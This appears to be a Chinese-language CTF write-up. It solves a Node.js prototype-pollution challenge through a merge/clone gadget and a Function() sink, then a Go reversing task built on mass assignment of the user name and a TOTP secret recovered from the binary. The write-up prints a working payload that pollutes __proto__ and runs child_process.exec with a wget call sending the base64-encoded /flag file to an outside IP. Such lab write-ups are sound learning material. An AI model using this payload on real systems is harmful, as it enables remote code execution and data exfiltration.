return merge({}, a);
}

merge的参数a是一个空对象,然后将b的值通过键赋给了a。这里可以想,假如b中有一个键为__proto__,对应的值为一个对象,那会怎么样?

这里模拟一下b的值为{"__proto__":{"a":1}}时,按照merge函数的处理,最后会和图片显示的一样,输出a.a会得到1。通过这样的方式就能照成原型链污染
于是找一下哪里使用了clone()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.post('/action', function (req, res) {
if (!req.session.sekiro) {
res.end("Session required.")
}
if (!req.session.sekiro.alive) {
res.end("You dead.")
}
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.solution) {
req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution)
}
res.end("提交成功")
})

往下读到action控制器,可以看到这里用了clone(),传入的body是我们可控的。于是继续找要污染的目标

沿着dealWithAttacks()去读到/utils/index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
this.dealWithAttacks = function (sekiro, solution) {
if (sekiro.attackInfo.solution !== solution) {
sekiro.health -= sekiro.attackInfo.attack
if (sekiro.attackInfo.additionalEffect) {
var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
sekiro = fn(sekiro)
}
}
sekiro.posture = (sekiro.posture <= 500) ? sekiro.posture : 500
sekiro.health = (sekiro.health > 0) ? sekiro.health : 0
if (sekiro.posture == 500 || sekiro.health == 0) {
sekiro.alive = false
}
return sekiro
}

可以看到这里sekiro.attackInfo.additionalEffect直接插入方法的执行中,这就造成了RCE。那就要去污染这个sekiro

不过由于action会先检查session中是否有sekiro,有再去接收传入的值,没有则通过info控制器设置session

1
2
3
4
5
6
router.get('/info', function (req, res) {
if (typeof(req.query.restart) != "undefined" || !req.session.sekiro) {
req.session.sekiro = { "health": 3000, posture: 0, alive: true }
}
res.json(req.session.sekiro);
})

由于对象中若设置了一个属性,去获取时就不会再去查原型链中的属性。info中给session设置了sekiro,那就不会再往原型链上找sekiro属性。解决办法也很简单,先污染了原型链,再新启用一个session,由于新启用的session中没有sekiro,就会往原型链上找,而原型链中有就能够通过action中的检查。于是payload就是

1
{"solution":"kotori","__proto__":{"sekiro":{"health":3000,"posture":0,"alive":true,"attackInfo":{"method":"xxx","attack":1000,"solution":"kotori","additionalEffect":"global.process.mainModule.constructor._load('child_process').exec(`wget http://ip/?$(cat /flag|base64)`, function(){});"}}}}

但实际操作后却报错,报了栈溢出的错误,测了下发现是merge()出了问题。调试+想了很久才想明白,因为这里污染了原型链是对于所有的对象的,而这里设置的sekiro也是对象。污染之后req.body中会带有sekiro键。传入clone再传入merge后,merge判断sekiro为对象然后递归,但sekiro中又有一个sekiro,于是又递归。这部不就是无限套娃吗?!不溢出才怪
既然知道了原因,解决起来也很简单,既然req.body中自带sekiro,那就通过传入值将其覆盖掉为非对象,这样就不会无限递归了

于是操作一波

获得session

污染原型链

换个session再次访问
{"solution":"umi","sekiro":1}

得到弹回来的flag

可惜没看比赛结束的时间,本来以为周五晚才结束,没想到周四晚就结束了,晚了几个小时才整出来Orz

看了出的官方wp后,才知道还有从sekiro从抽出的attackinfo中不含additionalEffect时直接污染原型链的additionalEffect的方法,还是太菜了

Re:Go

Go逆向,web手开始自闭

用IDA打开后全是这种无意义的函数名,这里需要恢复符号表
这里用到IDAGolangHelper这个插件
IDAGolangHelper
通过文件>脚本文件打开go_entry.py

然后选择go版本,点rename functions,再点ok就可以。这里用的是1.2版本去处理
还有,如果用的不是IDA7.4版本,需要修改一下__init__.py

经过处理后函数名就有意义了

然后回去看页面,首先登录注册就有点坑,为啥是邮箱?用用户名一直登不上去还以为环境出问题了。进入后getFlag需要admin账号

另一个页面可以修改密码,感觉可能要注入,于是回IDA中看看要怎么处理
进到Service_UpdateProfile函数里…完全看不懂,如果是源码的话就是这里

s.DB.Model(&User{}).Where(&User{Model: gorm.Model{ID: uid.(uint)}}).Update(&user).RowsAffected

这里用了Context中的uid去寻找对应用户,这个uid是用户的id,在登录时设置入Context

err := c.ShouldBindJSON(&user)

而处理传入的json时并没用检查里面是否只有password和mail,于是导致可以传入name直接修改用户名。也就是能直接修改json带有"name":"admin"就可以把用户名改成admin,直接成为admin账号
直接读逆向出的伪代码就真的看不出user绑定,先留着坑吧(太菜了

不过整这个的时候由于是https,burpsuite一直没配于是想通过firefox控制台发送,但发现一直502,不改数据发倒没问题,感觉是https的原因。于是还是去配了burpsuite,但证书一直导不入(新版firefox的原因),整了好久,下了一个新版bp里的证书才能用
然后抓包修改

刷新一下用户名已经变了

然后再去看一下/flag的逻辑

往下寻找后可以看到,这里用了github_com_xlzd_gotp__ptr_TOTP_Now(),totp?跟进去看一下

可以看到有一系列处理otp的函数,既然带有github前缀那可能在github上有开源,于是去看看
Golang OTP
确实是一个OTP验证,那需要找找哪有密钥
看了一下并没有用算法去生成密钥,估计是直接传入的,那就只有这里

不过OTP的密钥只有16位,于是取前16位尝试

1
2
3
4
5
6
7
8
9
10
package main

import (
"fmt"
"github.com/xlzd/gotp"
)

func main() {
fmt.Println("Current OTP is", gotp.NewDefaultTOTP("X5JMTFGT4FVJ34GV").Now())
}

go run otp.go
获得密码,快速ctrl c+v发送得到flag(主要是我不会写go的发包)